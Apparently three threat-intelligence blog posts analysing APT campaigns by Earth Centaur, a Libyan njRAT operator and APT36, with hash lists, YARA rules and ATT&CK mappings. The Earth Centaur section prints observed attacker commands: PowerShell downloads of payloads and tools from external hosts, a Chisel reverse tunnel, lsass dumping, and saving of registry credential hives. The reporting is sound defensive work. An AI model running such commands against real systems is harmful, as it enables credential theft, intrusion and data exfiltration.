9038ba1b7991ff38b802f28c0e006d12d466a8e374d2f2a83a039aabcbe76f5c
93745a6605a77f149471b41bd9027390c91373558f62058a7333eb72a26faf84
a70aca719b06fc8ef0cd0b0e010c7bc8dc6d632e4f2f874e4c0e553bd8db2df2
aa60c1fae6a0ef3b9863f710e46f0a7407cf0feffa240b9a4661a4e8884ac627
af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102
cee801b7a901eb69cd166325ed3770daffcd9edd8113a961a94c8b9ddf318c88
d07d4e71927cab4f251bcc216f560674c5fb783add9c9f956d3fc457153be025
dfbd67177af9d35188fc9ff9363c2b9017e9ccfe6719e3d641a56fb5dc0d47f7
eff78c23790ee834f773569b52cddb01dc3c4dd9660f5a476af044ef6fe73894
fbbda9d8d9bcaaf9a7af84d08af3f5140f5f75778461e48253dc761cc9dc027c
Hash detected as VBS_VALYRIA.DOCT:
0A9FC303CA03F4D9988A366CBBD96C24857E87374568EC5A4AAA4E55FE2C3C7E
0BC10D5396B3D8ECC54D806C59177B74E167D9F39D8F1B836806127AF36A7C4E
0BC10D5396B3D8ECC54D806C59177B74E167D9F39D8F1B836806127AF36A7C4E
25186621282D1E1BAD649B053BDB7B56E48B38189F80DB5A69B92301EF9ED613
25186621282D1E1BAD649B053BDB7B56E48B38189F80DB5A69B92301EF9ED613
3607432758176a2c41a1971b3c4d14a992a68b231851f8b81c6e816ea9ea29b2
59F9E0FAA73E93537AE4BD3A8695874BA25B66CEFA017537132914C770D0CF70
59F9E0FAA73E93537AE4BD3A8695874BA25B66CEFA017537132914C770D0CF70
59F9E0FAA73E93537AE4BD3A8695874BA25B66CEFA017537132914C770D0CF70
6228d79f56c574ceada16453404c54dd95641aa78d3faed6874daf485116793b
66af894eee6daae66bf0bcb87cb7abe2a0ebb6a59779f652db571e7ee298d751
92C7FEAD5EE0F0ECD35FE247DBE85648AADA4B96F1E960B527B4929E42D47B01
c006911be5480f09e0d8560c167561f68681607ca8f7e3c4f5d476dc6673594f
F05C18C1D4428349137A9DF60CDEBE8A0F9E6DA47B359DC0616FF8D47E46704E
Hash detected as TROJ_VALYRIA.PS:
0065d592d739ac1dd04d0335151c8855c7fafbf03e86134510ac2fc6766e8d60
0073ce0f4c82fc4d0470868e124aab9ad08852e1712564136186e5019fca0da0
02F58256FF52ED1CDB21064A28D6E5320005F02EF16E8B2FE851438BBC62A102
02F58256FF52ED1CDB21064A28D6E5320005F02EF16E8B2FE851438BBC62A102
04d61b1d2c3187280b3c4e93d064a051e9ee0f515f74c6c1c44ba577a7a1c804
04d61b1d2c3187280b3c4e93d064a051e9ee0f515f74c6c1c44ba577a7a1c804
0A9FC303CA03F4D9988A366CBBD96C24857E87374568EC5A4AAA4E55FE2C3C7E
0A9FC303CA03F4D9988A366CBBD96C24857E87374568EC5A4AAA4E55FE2C3C7E
4DD5C3CE5ED2145D5AFA8DD476A83DFC693E5FC7216C1EABB3FA0EB6B5F8590D
4DD5C3CE5ED2145D5AFA8DD476A83DFC693E5FC7216C1EABB3FA0EB6B5F8590D
55ae821cf112ff8d6185ce021f777f73d85150c62a835bb1c02fe9e7b3f863bf
61d846708f50024e1c65237eb7158beac9b9c5840853b03ef7c73fe5293a9a8d
624762a90b7272e247e5022576b7912d1aa0b32bc13aabc7ee47197e5b87a41b
6421C22D854C199B761436C87CAE1EAFFBA8783A3A40C00D4A0982D7C242EA79
92C7FEAD5EE0F0ECD35FE247DBE85648AADA4B96F1E960B527B4929E42D47B01
a53f832edc18de51e0ffaf67047072a6bbd5237defa74f5bf35dfc0df2aeca1b
C1780F3AD76AF703CEDDD932B187CF919866A00BB3E2D6F0827B9DAE9D8875B6
C1780F3AD76AF703CEDDD932B187CF919866A00BB3E2D6F0827B9DAE9D8875B6
C9D782FFAA98791613FEF828E558B296932FA245192BD0EBA8F76536860DB84E
C9D782FFAA98791613FEF828E558B296932FA245192BD0EBA8F76536860DB84E
CCA8E84901C4184BE2849D29C39294FD4B6940F9A6668FDCFF9728CD319FFF96
CCA8E84901C4184BE2849D29C39294FD4B6940F9A6668FDCFF9728CD319FFF96
cca8e84901c4184be2849d29c39294fd4b6940f9a6668fdcff9728cd319fff96
e57dbce8130e281a73727122d33cbff170a54237cd0016d79b30ace18c94e7d4
Hash detected as JS_VALYRIA.DOCT:
070EBCAC92FB7619F957BF3F362099574158E5D2D0BC0CF9206A31BA55EDD48F
Scriptlets and inf files related to applocker bypass:
2791fdc54ee037589f951c718935397e43d5f3d5f8e078e8b1e81165a3aebbaf
288afbe21d69e79a1cff44e2db7f491af10381bcc54436a8f900bcbd2a752a6f
5e173fbdcd672dade12a87eff0baf79ec4e80533e2b5f6cf1fac19ad847acba0
Tags
Network
|
APT & Targeted Attacks
|
Research
Earth Centaur, previously known as Tropic Trooper, is a long-running cyberespionage threat group that has been active since 2011.
In July 2020, we noticed interesting activity coming from the group, and we have been closely monitoring it since.
The actors seem to be targeting organizations in the transportation industry and government agencies related to transport.
We observed that the group tried to access some internal documents (such as flight schedules and documents for financial plans) and personal information on the compromised hosts (such as search histories).
Currently, we have not discovered substantial damage to these victims as caused by the threat group.
However, we believe that it will continue collecting internal information from the compromised victims and that it is simply waiting for an opportunity to use this data.
Through long-term monitoring, we learned that this threat group is proficient at red teamwork.
The group knows how to bypass security settings and keep its operation unobstructive.
Depending on the target, it uses backdoors with different protocols, and it can also use the reverse proxy to bypass the monitoring of network security systems.
The usage of the open-source frameworks also allows the group to develop new backdoor variants efficiently.
We expand on these techniques and other capabilities in the following sections.
More importantly, we believe the activities we observed are just the tip of the iceberg and their targets might be expanded to other industries that are related to transportation.
It is our aim, through this article, to encourage enterprises to review their own security setting and protect themselves from damage and compromise.
Overview of Earth Centaur’s infection chain
Based on our investigation, we found that the intrusion process used by Earth Centaur can be separated into several stages, which are shown in Figure 1.
We found that the threat actors used vulnerable Internet Information Services (IIS) server and Exchange server vulnerabilities as entry points, and then installed web shells.
Afterward, the .NET loader (detected as Nerapack) and the first stage backdoor (Quasar remote administration tool aka Quasar RAT) were deployed on the compromised machine.
Then, depending on the victims, the threat actors dropped different types of second-stage backdoors, such as ChiserClient and SmileSvr.
After exploiting the victim's environments successfully, the threat actors start Active Directory (AD) discovery and spread their tools via Server Message Block (SMB).
Then, they use intranet penetration tools to build the connection between the victim’s intranet and their command-and-control (C&C) servers.
We go into further detail about these stages in our analysis.
Figure 1.
Stages of Earth Centaur’s intrusion process
Technical Analysis of Earth Centaur’s Tools and Techniques
Stage 1: Loaders
After the threat actors get access to the vulnerable hosts by using ProxyLogon exploits and web shells, they use bitsadmin to download the next-stage loader (loaders are detected as Nerapack) as well as its payload file (.bin).
C:\Windows\system32\windowspowershell\v1.0\powershell.exe -Command "&{Import-Module BitsTransfer; Start-BitsTransfer 'http://<redacted>:8000/dfmanager.exe' "%temp%/dfmanager.exe"}"
C:\Windows\system32\windowspowershell\v1.0\powershell.exe -Command "&{Import-Module BitsTransfer; Start-BitsTransfer 'http://<redacted>:8000/dfmanager.bin' "C:\Users\<redacted>\AppData\Local\Temp/dfmanager.bin"}"
After our long-term monitoring, we observed that there are two different decryption algorithms (DES or AES) used in Nerapack to decrypt the payload.
Moreover, in its newer version, it uses a technique called “Timestomping.” Timestomping is when the timestamp of the payload file (.bin) is altered to make it harder for incident response analysts to find it.
Figure 2.
Timestomping used on the bin file
The decryption key is used as an argument of Nerapack and various keys are used on different victims.
It is a simple but effective technique that makes security analysis more difficult and also ensures that only their operators can use the tools.
The command for execution is shown as here:
> Nerapack.exe {base64 encoded key}
Fortunately, we were still able to collect the decryption key in some cases and we decrypted the payload successfully.
Based on our current cases, the decrypted payload is Quasar RAT.
After the payload is deployed, the actors can continue further malicious actions through Quasar RAT.
Stage 2: Backdoors
After further analysis, we found that the threat group developed multiple backdoors capable of communication via common network protocols.
We think this indicates that it has the capability to bypass network security systems by using these common protocols to transfer data.
We also found that the group tries to launch various backdoors per victim.
Furthermore, it also tends to use existing frameworks to make customized backdoors.
By using existing frameworks, examples of which are detailed in the following, it builds new backdoor variants more efficiently.
ChiserClient
After the backdoor is launched, it will decrypt the embedded C&C configuration via AES (CTR mode) algorithm for the following connection.
In the configuration, there are three C&C addresses and corresponding port numbers.
Figure 3.
Decrypted C&C configuration
In the first connection, ChiserClient will append the host name of the compromised host for check-in purposes.
Then, it will keep running on the hosts and wait for further commands from the C&C server.
ChiserClient is installed as a system service to allow the threat actors access to higher privileges and keep persistence on the compromised host.
The capability of ChiserClient is shown in the following table:
Command code
Function
0x10001
Write specified file
0x10002
Download File
0x10003
Read specified file
0x10004
No Action
0x10005
Open a command shell for command execution
HTShell
HTShell is a simple backdoor that is developed using the Mongoose framework (version 6.15).
Mongoose is an Object Data Modeling (ODM) library for MongoDB and Node.
Js.
It is used to translate between objects in code and objects representation in MongoDB.
We saw in our cases that the HTShell client will be launched as a system service on the compromised machine and that it will connect to a C&C server.
HTShell supports importing additional config files.
We found that the additional config file is located in %PUBLIC%\Documents\sdcsvc.dat, and that the content should be encoded by base64.
If no config file is imported, it will connect to the predefined C&C address.
Figure 4.
HTShell hardcoded C&Cs
HTShell encodes a hard­-coded string, "tp===" with custom base64 and embeds the encoded string in the request cookies.
If the C&C server receives the request with the special cookie value, it can verify that the request comes from its client applications.
Figure 5.
HTShell hardcoded and encoded cookie string in the request header
The response handler of HTShell will use “`” as delimiter to split the command code and argument for the received command.
Hence, the command will be this format:
<command code>`<custom-base64encoded-data>[`<more-custom-base64encoded-data>]
HTShell currently supports three different backdoor functions, shown here:
Command code
Function
0
Open a command shell for command execution
1
Upload file
2
Download file
Customized Lilith RAT
During our investigation into Earth Centaurs activities, we found that it also uses another backdoor called Lilith RAT.
We think that this Lilith RAT is a highly modified version of the open-source Lilith RAT.
The actors reused part of the codes for command execution, while the C&C protocol is changed to Dropbox HTTPS APIs.
Figure 6.
Reused codes from open-source Lilith RAT
In order to launch this RAT, the threat actors use a technique called "Phantom DLL hijacking."
In this technique, the RAT will be disguised as the normal wlbsctrl.dll.
While the Windows service “IKEEXT” is starting, the fake wlbsctrl.dll is loaded and executed with high privilege.
Furthermore, when Lilith RAT is terminated, it will try to clean itself to prevent being found by investigators.
Figure 7.
Self-deletion after execution
For the C&C connections, the customized Lilith RAT will first check in to the attacker’s Dropbox and see if the victim host exists.
If not, the hostname and IP address will be collected and appended to the existing compromised hosts’ information.
All data will then be encrypted and sent back.
Figure 8.
The first check-in request to the Dropbox C&C
After the check-in request, the backdoor will start to wait for more commands to come in.
All the request data are formatted to JSON, and they are encrypted by AES and encoded by base64.
Here is a list of the C&C commands:
Command
Description
CMDCommand
Executes commands
DownloadCloudFile
Downloads files
UploadCloudFile
Uploads files
GetDir
Lists directories
GetDirFile
Lists files in a directory
DeleteSelf
Deletes itself
SmileSvr
We found that there are two types of SmileSvr.
The difference between the two variants is the protocol used for communication: ICMP and SSL.
The threat actors will use an installer to install SmileSvr as a system service and drop a DAT file that contains encoded C&C information.
In the configuration file, the memory size used for storing C&C address and C&C address will be defined.
Figure 9.
Encrypted configuration file
The ICMP version of SmileSvr will create an ICMP socket to connect to the specified C&C address, which is defined in a configuration file.
In each SmileSvr, there is an embedded number (e.g., 10601 in Figure 10.)
and this value will be used as sequence number in the sent ICMP packet.
We think attackers use this value to verify if the incoming packet belongs to their backdoor and filter out the noise.
Figure 10.
Decrypted configuration file
Without knowing the real traffic from the C&C server, we can only speculate on the content of the response based on the receiving function.
As shown in Figure 11, the content of the response should contain the sequence number used to verify if the received data comes from the correct source and two blocks of encrypted data.
The data decryption procedure is as follows:
First, the encrypted data is decrypted with a one-byte XOR key (0xFF).
The first of the decrypted content contains a magic number used to check data in the second block, a command code, and the XOR key to decrypt the second set of encrypted content.
The second set of encrypted content is decrypted with an XOR key (0x99) from the previous decrypted content, and within the decrypted data are instructions for the following procedures.
Figure 11.
SmileSvr packet traffic format simulation
While analyzing samples, we found that the C&C server was already inactive.
Without knowing the traffic between SmileSvr and C&C server, we could not fully understand all functions.
However, most of the backdoor functions are listed here:
Command code
Function
0x5001
Opens/Reads specified file
0x5002
Unknown
0x5004
Opens/Writes specified file
0x5006
Opens command shell
0x5007
Unknown
0x5009
Closes command shell
0x500A
File System Traversal
0x500C
Checks environment information
0x500E
Unknown
As for the SSL version of SmileSvr, the capability of SSL communication is built by using wolfSSL, which is a lightweight, C-language based SSL/TLS library.
The backdoor functions of SSL version SmileSvr are similar to the ICMP ones.
The threat actors just use it to develop new ways to support data transfer via an encrypted channel.
Customized Gh0st RAT
In our investigation, we also found a suspicious executable named telegram.exe.
After analyzing the file, we found that it was a customized version of Gh0st RAT.
Compared to the original Gh0st RAT (Gh0st beta 3.6), the difference is that the customized version supports a new function to discover information from active sessions on the host.
All supported functions for the customized Gh0st are shown in the following table:
Command code
Function
0xC8
Terminates connection
0xCA
File manager to handle file operations
0xCB
Screen monitoring
0xCC
Opens remote shell for command execution
0XD5
Gets active session information
Post-Exploitation
After successfully exploiting the vulnerable system, the threat actor will use multiple hacking tools to discover and compromise machines on the victim’s intranet.
In this stage, we also observed attempts to deploy tools to exfiltrate stolen information.
During our investigation, we found evidence of specific tools, which we listed in Table 1.
With these tools, the attackers accomplish their goals (network discovery, access to the intranet, and exfiltration) step by step.
Tool name
Purpose
Description
SharpHound
AD Discovery
Discovery tool to understand the relationship in an AD environment
FRPC
Intranet Penetration
Fast reverse proxy to help expose a local server behind a NAT or firewall to the internet
Chisel
Intranet Penetration
Fast TCP/UDP tunnel
RClone
Exfiltration
A command-line program to sync files and directories to and from different cloud storage providers
Credential Dumping
We also observed that the group used multiple legitimate tools to dump credentials on compromised machines.
It made good use of these tools to achieve its goal and keep its operation hidden and unobstructive.
For example, the group uses ProcDump.exe (a tool from Windows Sysinternals Suite that creates dumps of the processes in any scenario), which it renamed bootsys.exe:
c:\users\public\downloads\bootsys.exe  -accepteula -ma lsass.exe C:\Users\Public\Downloads\lsass.dmp
The group dumps credentials stored in registries by using reg.exe:
reg.exe save hklm\sam C:\Users\Public\Downloads\sam.hive
reg.exe save hklm\sam c:\windows\temp\sa.dit
reg.exe save hklm\security c:\windows\temp\se.dit
reg.exe save hklm\system c:\windows\temp\sy.dit
The group would also dump memory from the specified process by using comsvcs.dll:
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump 764 C:\Windows\TEMP\dump.bin full
Indicator Removal
To avoid exposing their footprints to investigators, the threat actors made their own tool to wipe out the event logs on the victimized machine.
By using this tool, they could clean specified event logs and make it hard for investigators to track their operations.
The usage is as follows:
Intranet Penetration
After successfully exploiting the vulnerable system, threat actors also drop following tools: FRP and Chisel.
FRP is a fast reverse proxy used to expose a local server behind an NAT or a firewall to the internet.
It can read predefined configurations and make the host in the intranet available to users from the internet.
Figure 12.
Configuration for FRP fast reverse proxy
Chisel is a fast TCP/UDP tunnel, which is mainly used for passing through firewalls.
It provides the capability to transport data over HTTP (secured via Secure Shell, aka SSH) and allows threat actors to pass through a firewall and get access to the machine behind the firewall.
This is used to download reverse proxy Chisel via PowerShell:
c:\windows\system32\windowspowershell\v1.0\powershell.exe -command "$(new-object System.
Net.WebClient).DownloadFile('https[:]//webadmin[.]mirrorstorage[.
]org/ch.exe', 'ch.exe')"
This is used to build a connection between inter/intranet via Chisel:
C:\WINDOWS\system32\ch.exe client https[:]//webadmin[.]mirrorstorage[.
]org:443 r:127.0.0.1:47586:socks
Exfiltration
In the previous phase, we observed that the actors use several tools to get the whole picture of the network infrastructure and bypass the firewall.
Afterward, we observed a PowerShell command used to download an effective tool, Rclone, which is used for exfiltration.
It also provides an easy and effective way of copying data to several cloud storage providers.
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -command "$(new-object System.
Net.WebClient).DownloadFile('http://195[.]123[.]221[.
]7:8080/rclone.exe', 'r.exe')"
Based on previous experience, Rclone has frequently been used in ransomware attacks to exfiltrate stolen data.
However, it seems that currently, it is not only used in ransomware attacks but also in APT attacks.
Identifying Features in the Earth Centaur Campaign
After long-term observation and analysis of the attack campaigns, there was compelling evidence that they were operated by Earth Centaur.
We found several identifying features of the threat actors within the techniques and tools described in the preceding sections, and we break down the factors in the following.
Mutex Style
We found some special mutexes that are encoded by the layout of the Chinese Zhuyin keyboard in ChiserClient.
The decoded string is shown in Table 2.
Based on these special mutex strings, we believe the threat actors come from a Chinese-speaking region.
Table 2.
Encoded/Decoded mutex string
Encoded string
Decoded string in Chinese
English translation
vul3ru,6q8 q8 y.3
小傑趴趴走
Jack goes around
ji394su3
我愛你
I love you
5ji fu.6cl3g.3zj6m0694
桌球好手福原愛
Excellent table tennis player, Ai Fukuhara
Configuration style
After analyzing the ChiserClient, we found that it shares a similar style of network configuration to the TClient mentioned in our previous research on Earth Centaur.
Figure 13.
Network configuration (Left: ChiserClient Right: TClient)
Code Similarity
After checking the backdoor SmileSvr, we found that there was a code similarity between it and Troj_YAHAMAM, which was used by Earth Centaur in an earlier operation.
Both share similar codes in configuration decoding, which is shown in Figure 14.
Furthermore, the delimiter that was used in SmileSvr to split different values in configuration files is the same as the one used in YAHAMAM (shown as Figure 15).
Figure 14.
Configuration decoding function (left: SmileSvr right: Troj_Yahamam)
Figure 15.
Function used to split different values in configuration file (left: SmileSvr right: Troj_Yahamam)
Conclusion
These threat actors are notably sophisticated and well-equipped.
Looking deeper into the new methods the group uses, we found that it has an arsenal of tools capable of assessing and then compromising its targets while remaining under the radar.
For example, the group can map their target’s network infrastructure and bypass firewalls.
It uses backdoors with different protocols, which are deployed depending on the victim.
It also has the capability to develop customized tools to evade security monitoring in different environments, and it exploits vulnerable websites and uses them as C&C servers.
In this blog, we outlined our new findings related to these threat actors to help possible targets in the transportation and other industries.
Information on how a threat enters and operates within a victim’s network is invaluable to security teams and can help them create more effective protection for vulnerable organizations.
Organizations can also find capable security solutions that can help interpret and respond to malicious activities, techniques, and movements before the threat can culminate and affect an enterprise.
Trend Micro Vision One™️ with Managed XDR gives security teams a consolidated view into valuable insights so they can organize a more solid line of defense ahead of attacks.
For a list of the Indicators of Compromise, please see this document.
MITRE ATT&CK Matrix
Tactics
ID
Technique
Initial access
T1190
Exploit public-facing application
Execution
T1059.001
Command and Scripting Interpreter: PowerShell
T1059.003
Command and scripting interpreter: Windows Command Shell
T1569.002
System Services: Service Execution
Persistence
T1543.003
Create or Modify System Process: Windows Service
T1574.002
Hijack Execution Flow: DLL Side-Loading
T1505.003
Server Software Component: Web Shell
Defense evasion
T1140
Deobfuscate/Decode Files or Information
T1480
Execution Guardrails
T1574.002
Hijack Execution Flow: DLL Side-Loading
T1070.001
Indicator Removal on Host: Clear Windows Event Logs
T1027.002
Obfuscated Files or Information: Software Packing
T1218.011
Signed Binary Proxy Execution: Rundll32
T1036.005
Masquerading: Match Legitimate Name or Location
T1197
BITS Jobs
T1070.006
Indicator Removal on Host: Timestomp
Credential Access
T1003.001
OS Credential Dumping: LSASS Memory
T1552.002
OS Credential Dumping: Credentials in Registry
Lateral Movement
T1021.002
Remote Services: SMB/Windows Admin Shares
Discovery
T1087.002
Account Discovery: Domain Account
T1482
Domain Trust Discovery
T1083
File and Directory Discovery
Collection
T1005
Data from Local System
Command and control
T1071.001
Application layer protocol: web protocols
T1095
Non-Application layer protocol
T1090.001
Proxy: Internal Proxy
Exfiltration
T1567.002
Exfiltration to Cloud Storage
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A couple of common questions that arise whenever cyberpropaganda and hacktivism issues come up: who engages in it?
Where do the people acquire the tools, skills, and techniques used?
As it turns out, in at least one case, it comes from the traditional world of cybercrime.
We’ve come across a case where a cybercriminal based in Libya turned from cybercrime to cyberpropaganda.
This highlights how the cybercrime underground in the Middle East/North African region (covered in our paper titled Digital Souks: A Glimpse into the Middle Eastern and North African Underground) can expand their activity into areas beyond their original area of expertise.
DiscoveryOur first inkling of this threat came when we spotted a spear-phishing email campaign targeting several embassies of various European countries.
These used an alarming “Tourist attack!
!” subject, and usually spoofed addresses of various Foreign Affairs ministries.
The email attachments were RAR files containing an obfuscated VBS file, which had a low infection rate at the time of the incident.
Once the multiple layers of script obfuscation are removed, the final payload arrives—a version of the njRAT Trojan; this family has been a known threat since 2015.
The obfuscation used was not particularly sophisticated.
A variable containing a second layer VBS script was encoded in Unicode characters and decoded with a combination of basic string functions such as ChrW, AscW, and Mid before being run with a call to Execute.
A simple Yara rule allowed us to find more of these obfuscated VBS scripts:
rule layer1_vbs { strings: $vbs = /[a-z]+ = [a-z]+ & ChrW\(AscW\(Mid\([a-z]+, [a-z]+, 1\)\) – [a-z]+ \* [a-z]+\)/ wide condition: $vbs }
We believe that this specific VBS obfuscation script was created by the N7r team, a North African hacking group known for making video tutorials on using common RATs (that this particular script wasn’t part of any such videos).
We initially thought that this team—or someone close to them using their tools—launched the campaign.
As the campaign became more prominent, the detection rate for these scripts improved.
This led the person behind the campaign to send new emails to other diplomatic targets, as well as other targets (such as hotels and other companies) in North Africa.
The new emails used more common phishing tactics, such as alleged requests for payment confirmation.
At least one message was sent to a diplomat based in the island of Saint Martin after Hurricane Irma hit.
This particular actor was at something of a crossroads regarding his cybercrime “career”: while he’s still making good money from simple scams, he’s also improving his skills and branching out to targeted attacks.
The attachments used in this second wave was more sophisticated, but barely so.
The most meaningful change was the addition of an extra layer of VBS obfuscation.
The payload was still njRAT.
We were able to find other samples with the same technique, but these samples did not have ties to N7r.
We believe that our attacker finds obfuscators in various forums, and chains them together in an attempt to avoid detection.
This is the Yara rule we used to search for similar samples:
rule layer0_vbs { strings: $code = /Dim \w+\s+\r\n\s+For Each \w+ In split\(\w+,”.+”\)\r\n\s+\w+ = \w+ & ChrW\(\w+ – “\d+”\)/ condition: $code }
These Yara rules allowed us to find other samples, which delivered other basic RATs like H-Worm, Luminosity, and RemCOS.
These samples connected to other C&C servers, which we were able to use to connect them all to the threat actor.
Some of these domains were also tied to banking malware, confirming our attacker was not limited to embassies.
OPSEC 101 – Or How Not To Do OPSECGathering the above information was enough to protect our customers.
However, we decided to dig a little further and noticed a few things.
The attacker almost always sent his mails from a Libyan IP address.
In some cases, compromised SMTP servers belonging to the hotels he had breached were used.
He didn’t bother using services which hid his IP addresses from mail headers, which allowed us to correlate these addresses to a dynamic DNS domain used by the attacker.
We also checked the registrant data of the domains used by the attacker.
This information was exceptionally useful, as it allowed us to find multiple Facebook accounts controlled by the threat actor.
We then confirmed his location (Libya) as well as his probable identity.
What was more surprising was what he was doing with the stolen documents—apparently, he had decided to post the documents on social media:
Figure 1.
Stolen document posted on Facebook (Click to enlarge)
He didn't just post embassy documents on Facebook: he also posted stolen credit cards and screens of defaced websites.
Figure 2.
Stolen credit cards (Click to enlarge)
This threat actor first published stolen documents in April 2016.
His motives remain unclear since the documents themselves did not contain any particularly unusual information.
Leaking supposedly secret documents to try to discredit groups and/or sway public opinion is a hallmark of cyberpropaganda efforts—even if the documents appear to be of limited value.
Perhaps he wanted to damage the reputation of the Libyan government, or he aimed to increase his popularity by appearing to be more skilled and sell other services (he offered an old exploit for Office 2007 in January 2017 on Facebook).
This incident shows how the worlds of cybercrime and cyberpropaganda can be intertwined: the tools and techniques are equally effective.
Organizations should realize that defending against attacks should focus on what is technically plausible, as this will ensure protection against various threat actors—even those you don’t expect.
Indicators of CompromiseFiles with the following hashes were used in the first series of attacks:
cd8329f75b1393ead3e16c6c79ee1ab476e6487370481e5931feb63305f00983 – detected as VBS_KEYLOG.NYKW
f46f0e8eed0361294200d64e87b3fb13f6a3797f99f5b588444534f27612a590 – archive file; contents detected as VBS_KEYLOG.NYKW
fd883a978dd6d95fa5c3b5e0a154e0e07b06e7cb6c685f1ca9f58c73122df24d – archive file; contents detected as VBS_KEYLOG.NYKW
7413c7c0317e49e49d595408f721c2ab2f120215374accf2f8133c9d9ad603fb – detected as WORM_DUNIHI.AUSHH
89427241e26748949c235fc43805c72960d9c2711fa72036c33137648bb475fa – detected as VBS_REMCOS.B
Files with the following hashes were used in the second series of attacks:
fb5b5906feab268f90789b15351b8a193fb5f445a3ae9afb1da8fb814ed80325 – detected as VBS_KEYLOG.NYKW
306f4f843c5a5a119a3385ad2b18c78a04fac618031ddecabf0633083a6c9a76 – detected as VBS_KEYLOG.NYKW
33709ca050fd0abc2aba38326996bf1c3b6d9b875228c9f15e624f9002c199a8 – detected as VBS_OBFUS.VUJ
ff0f9057d3da7b3500f145ce24670c89a93cdb5cbe74946b17397fc466ddfbda – detected as VBS_AUTORUN.ASUHK
9b7cc8f4807df162f99f5fa592bc7cc5c6a756d9c0311c7b2529f19a0ac59c1a – archive file; contents detected as VBS_OBFUS.VUK
587e38fb11bd0c4021ce6965e92838521616ee4c5506ef0fa160452e9c71d5cf – detected as VBS_OBFUS.VUK
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APT36, also known as Earth Karkaddan, a politically motivated advanced persistent threat (APT) group, has historically targeted Indian military and diplomatic resources.
This APT group (also referred to as Operation C-Major, PROJECTM, Mythic Leopard, and Transparent Tribe) has been known to use social engineering and phishing lures as an entry point, after which, it deploys the Crimson RAT malware to steal information from its victims.
In late 2021, we saw the group leverage CapraRAT, an Android RAT with clear similarities in design to the group’s favored Windows malware, Crimson RAT.
It is interesting to see the degree of crossover in terms of function names, commands, and capabilities between the tools, which we cover in more detail in our technical brief, “Earth Karkaddan APT.”
Our investigation is based on Trend Micro Smart Protection Network (SPN) data gathered from January 2020 to September 2021.
Looking into one of Earth Karkaddan’s recent campaigns
Typically, Earth Karkaddan’s arrival methods include the use of spear-phishing emails and a USB worm that would then drop and execute a remote access trojan (RAT).
Figure 1.
Earth Karkaddan’s attack chain
The malicious emails feature a variety of lures to deceive victims into downloading malware, including fraudulent government documents, honeytraps showing profiles of attractive women, and recently, coronavirus-themed information.
Figure 2.
An example of a fake government-related spear-phishing email
Figure 3.
An example of a coronavirus-related spear-phishing email attachment
Once the victim downloads the malicious macro, it will decrypt an embedded executable dropper that is hidden inside a text box, which will then be saved to a hardcoded path prior to it executing in the machine.
Figure 4.
Malicious macro that decrypts an executable hidden inside a text box
Figure 5.
Examples of encrypted Crimson RAT executables hidden inside text boxes
Once the executable file is executed, it will proceed to unzip a file named mdkhm.zip and then execute a Crimson RAT executable named dlrarhsiva.exe.
Figure 6.
The dlrarhsiva.exe Crimson RAT executable
Earth Karkaddan actors are known to use the Crimson RAT malware in its campaigns to communicate with its command-and-control (C&C) server to download other malware or exfiltrate data.
Our analysis shows that the Crimson RAT malware is compiled as a .NET binary with minimal obfuscation.
This could indicate that the cybercriminal group behind this campaign is possibly not well-funded.
Figure 7.
A list of minimally obfuscated commands, function names, and variables from a Crimson RAT malware sample
Crimson RAT can steal credentials from browsers, collect antivirus information, capture screenshots, and list victim drives, processes, and directories.
We have observed how an infected host communicates with a Crimson RAT C&C server to send exfiltrated information including PC name, operating system (OS) information, and the location of the Crimson RAT malware inside the system.
Figure 8.
Network traffic from a Crimson RAT malware sample
ObliqueRat Malware Analysis
Aside from the Crimson RAT malware, the Earth Karkaddan APT group is also known to use the ObliqueRat malware in its campaigns.
This malware is also commonly distributed in spear-phishing campaigns using social engineering tactics to lure victims into downloading another malicious document.
In one of its most recent campaigns, the lure used was that of the Centre for Land Warfare Studies (CLAWS) in New Delhi, India.
Figure 9.
Initial spear-phishing document with a link to another malicious document
Once the victim clicks the link, it will download a document laced with a malicious macro.
Upon enabling the macro, it will then download the ObliqueRat malware that is hidden inside an image file.
Figure 10.
The downloaded "1More-details.doc" contains malicious macros that will download and execute the ObliqueRat malware in a victim’s machine
The macros inside the file will then download a bitmap image (BMP) file where the ObliqueRAT malware is hidden, decode the downloaded BMP file, then create a persistence mechanism by creating a Startup URL which will automatically run the ObliqueRAT malware.
Figure 11.
Malicious macro codes will download, decode, and execute the ObliqueRat malware
Figure 12 shows a summary of the ObliqueRat malware’s infection chain:
Figure 12.
ObliqueRat attack chain
Below is a list of backdoor commands that this particular ObliqueRAT malware variant can perform:
Command (v5.2)
Info
0
System information
1
List drive and drive type
3
Find certain files and file sizes
4
Send back zip files (specified filename)
4A/4E
Send back zip files
5
Find certain files and file sizes
6
Zip certain folder, send back to C&C, then delete it
7
Execute commands
8
Receive file from C&C
BACKED
Back up the file lgb
RNM
Rename file
TSK
List running processes
EXIT
Stop execution
RESTART
Restart connection to C&C
KILL
Kill certain processes
AUTO
Find certain files
RHT
Delete files
Note that in this specific campaign, both the Crimson RAT malware downloader document and the ObliqueRat malware downloader share the same download domain, which is sharingmymedia[.]com.
This indicates that both malware types were actively used in Earth Karkaddan APT campaigns.
Figure 13.
Crimson RAT and ObliqueRat spear-phishing email attachments that feature the same download domain
CapraRAT, One of Earth Karkaddan’s custom Android RAT
Aside from using spear-phishing emails and a USB worm as arrival vectors, Earth Karkaddan also uses Android RATs that could be deployed by means of malicious phishing links.
This is not particularly novel for the APT group — in 2018, it used StealthAgent (detected by Trend Micro as AndroidOS_SMongo.HRX), an Android spyware that can intercept phone calls and messages, track victims’ locations, and steal photos.
In 2020, Earth Karkaddan used an updated version of the AhMyth Android RAT to target Indian military and government personnel via a disguised porn app and a fraudulent national Covid-19 tracking app.
We observed this group using another Android RAT — TrendMicro has named this “CapraRat”— which is possibly a modified version of an open-source RAT called AndroRAT.
While analyzing this android RAT, we saw several similar capabilities to the CrimsonRat malware that the group usually uses to infect Windows systems.
We have been observing CapraRAT samples since 2017,  and one of the first samples we analyzed (SHA-256: d9979a41027fe790399edebe5ef8765f61e1eb1a4ee1d11690b4c2a0aa38ae42, detected by Trend Micro as as AndroidOS_Androrat.HRXD) revealed some interesting things in that year: they used "com.example.appcode.appcode" as the APK package name and used a possible public certificate “74bd7b456d9e651fc84446f65041bef1207c408d,” which possibly meant the sample was used for testing, and they just started to use it for their campaigns during that year.
The C&C domain android[.]viral91[.
]xyz, where the malware was connecting to also shows that it is very likely that the APT team uses subdomains to host or connect to Android malware.
